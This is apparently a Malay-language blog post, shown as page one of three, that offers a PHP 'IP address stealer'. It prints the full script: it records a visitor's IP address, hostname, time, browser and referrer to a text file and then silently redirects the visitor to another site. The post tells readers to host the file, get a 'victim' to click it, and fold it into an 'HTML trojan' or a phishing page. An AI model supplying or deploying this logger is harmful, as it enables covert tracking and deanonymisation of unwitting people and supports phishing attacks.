You are on page 1of 3

cara-curi-ip-address.

salam sejahtera semua Hari ni seth nak kongsi satu code php yang dapat untuk curi ip address seseorang itu . kalau korang nak curi boleh . hehehe . ok . sekarang korang buka notepad . Korang pastekan kode ni dalam notepad tu <html> <head> <?php $ip = $_SERVER['REMOTE_ADDR']; // Grabbing the IP $time = date("l F dS h:i:s A Y"); // Logging the time and date $hostaddress = gethostbyaddr($ip); // Host name $browser = $_SERVER['HTTP_USER_AGENT']; // needs work $referred = $_SERVER['HTTP_REFERER']; // referrer //Writing the time and date to a file $myFile = "xxxx.txt"; $fh = fopen($myFile, 'a') or die("can't open file"); $stringData = "$time\n"; fwrite($fh, $stringData); fclose($fh); // writing Ip address to the same file $myFile = "xxxx.txt"; // value 1 $fh = fopen($myFile, 'a') or die("can't open file"); $stringData = "$ip\n"; fwrite($fh, $stringData); fclose($fh); // also writing hostname to the same file

$myFile = "xxxx.txt"; // value 2 $fh = fopen($myFile, 'a') or die("can't open file"); $stringData = "$hostaddress\n"; fwrite($fh, $stringData); fclose($fh);

print "<strong> </strong><br />\n"; if ($referred == "") { print ""; } else { print "$referred"; } ?> <!-- Redirectng to a different page (this is optional just delete this javascript if u dont want to redirect) -> <script type="text/javascript"> <!-window.location = "http://www.google.com/" //--> </script> </head> <body> </body> </html>

Lepas tu korang save Lala.php Upload lala dalam Hosting . Lepas tu korang Buat txt document dan namakan dengan xxxx.txt <-- korang boleh tukar nama ni ikut suka korang . rujuk kode di atas berwarna merah .

Selepas dalam masa 2 saat . Automatik Page akan dimasukan ke : http://www.google.com/ <-- korang boleh tukar ke website yang korang suka . rujuk warna Hijau pada kode di atas Korang juga boleh turus buat html tu masuk ke trojan HTML korang . Upload file txt korang tadi bersama dengan lala.php . selepas itu suruh magsa korang klik lala.php korang tu .

selepas magsa korang tutup tab . Ip address dia akan dimasukan ke xxxx.txt P/s : boleh juga dimasukan dalam Phising page siap ! Jangan Gunakan ego untuk menunjukan kehebatan . Peace :D

You might also like